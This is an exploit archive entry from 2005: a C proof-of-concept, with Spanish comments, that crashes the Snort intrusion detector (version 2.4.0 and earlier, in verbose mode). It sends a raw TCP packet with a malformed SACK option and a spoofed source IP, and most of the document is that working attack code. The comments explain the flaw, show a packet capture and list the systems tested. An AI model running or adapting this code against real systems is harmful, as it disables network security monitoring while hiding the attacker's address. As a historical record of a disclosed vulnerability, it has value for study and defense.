Snort 2.4.0 - SACK TCP Option Error Handling Denial of Service

/*_------------------------------------------_
 ||------+ Snort <= 2.4.0 Trigger p0c +------||
 ||__________________________________________||
 ||--=[ nitrous [at] vulnfact [dot] com  ]=--||
 ||--=[      VulnFact Security Labs      ]=--||
 ||--=[           21 Ago 2oo5            ]=--||
 ||--=[              Mexico              ]=--||
 ||__________________________________________||
 -__________________________________________-

 Snort <= 2.4.0 SACK TCP Option Error Handling
 Este código envia al  especificado un paquete TCP/IP con 4 bytes extras
 correspondientes al campo TCP Options [TCP Header].
 Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se
 esta corriendo en verbose mode (-v).

 Esto solo funciona testeando de una maquina a otra directamente conectadas
 (1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por
 que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde
 pase este paquete lo descartara por no tener una checksum valida.

 RFC #1072 - TCP Extensions for Long-Delay Paths

 3.2- TCP SACK Option:
     ...
     Kind: 5
     Length: Variable
     +--------+--------+--------+--------+--------+--------+
     | Kind=5 | Length | Relative Origin |   Block Size    |
     +--------+--------+--------+--------+--------+--------+

 Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
 11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
 <malformed sack [len 0] ,eol>
 0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E..,ŒO..ÿ..z....
 0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....rÇ.P.Á.oCñ."
 0020: 6002 16d0 3caf 0000 0502 0000            `..Ð<¯......

 Testeado en:
 [+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
 [+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
 [+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
 [+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
 [+] snort 2.3.0 @ Red Hat Linux 9
 [+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
 [+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

 Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey,
 protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog,
 JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)...
 Federico L. Bossi Bonin
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD     1       /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD     1       /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE  sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP  "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
       fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
       fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

       return 0;
}

int main(int argc, char **argv)
{
       char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
       char *srcip = DEFAULT_SRC_IP;
       int sockfd, count;
       int one = 1; /* setsockopt() */
       struct sockaddr_in target;
       struct hostent *host2ip;
       struct ip *IP = (struct ip *) packet;
       struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

       if(argc < 2)
               return(usage(*argv));

       if(argc == 3)
               srcip = argv[2];

       if((host2ip = gethostbyname(argv[1])) == NULL){
               perror("gethostbyname");
               exit(-1);
       }

       if(getuid() != 0){
               fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
               exit(-1);
       }

       memset(packet, 0x00, sizeof(packet));

       memset(&target, 0x00, sizeof(target));
       target.sin_family       = AF_INET;
       target.sin_port         = htons(64876);
       target.sin_addr         = *((struct in_addr *)host2ip->h_addr);

       /*** BUILDING MALFORMED PACKET ***/
       IP->ip_hl       = 0x05;
       IP->ip_v        = 0x04;
       IP->ip_tos      = 0x00;
       IP->ip_len      = IPSIZE + TCPSIZE + 4;
       IP->ip_id       = 0x00;
       IP->ip_off      = 0x00;
       IP->ip_ttl      = 0xff;
       IP->ip_p        = IPPROTO_TCP;
       IP->ip_sum      = 0x00;
       IP->ip_src.s_addr = inet_addr(srcip);
       IP->ip_dst.s_addr = target.sin_addr.s_addr;

       TCP->th_sport   = htons(31337);
       TCP->th_dport   = target.sin_port;
       TCP->th_seq     = 0x00;
       TCP->th_ack     = 0x00;
       TCP->th_x2      = 0x00;
       TCP->th_off     = 0x06;
       TCP->th_flags   = 0x00; /* NO Syn ;) */
       TCP->th_win     = htons(0xffff);
       TCP->th_sum     = 0x00;
       TCP->th_urp     = 0x00;

       memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
       /*** END ***/

       if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
               perror("socket");
               exit(-1);
       }

       if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
               perror("setsockopt");
               exit(-1);
       }

       printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
       printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
       printf("-=[ Sending Malformed TCP/IP Packet...\n");

       if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){
               perror("sendto");
               close(sockfd);
               exit(-1);
       }

       printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
       printf("-=[ Snort killed !\n");

       close(sockfd);
       return 0;
}

// milw0rm.com [2005-09-12]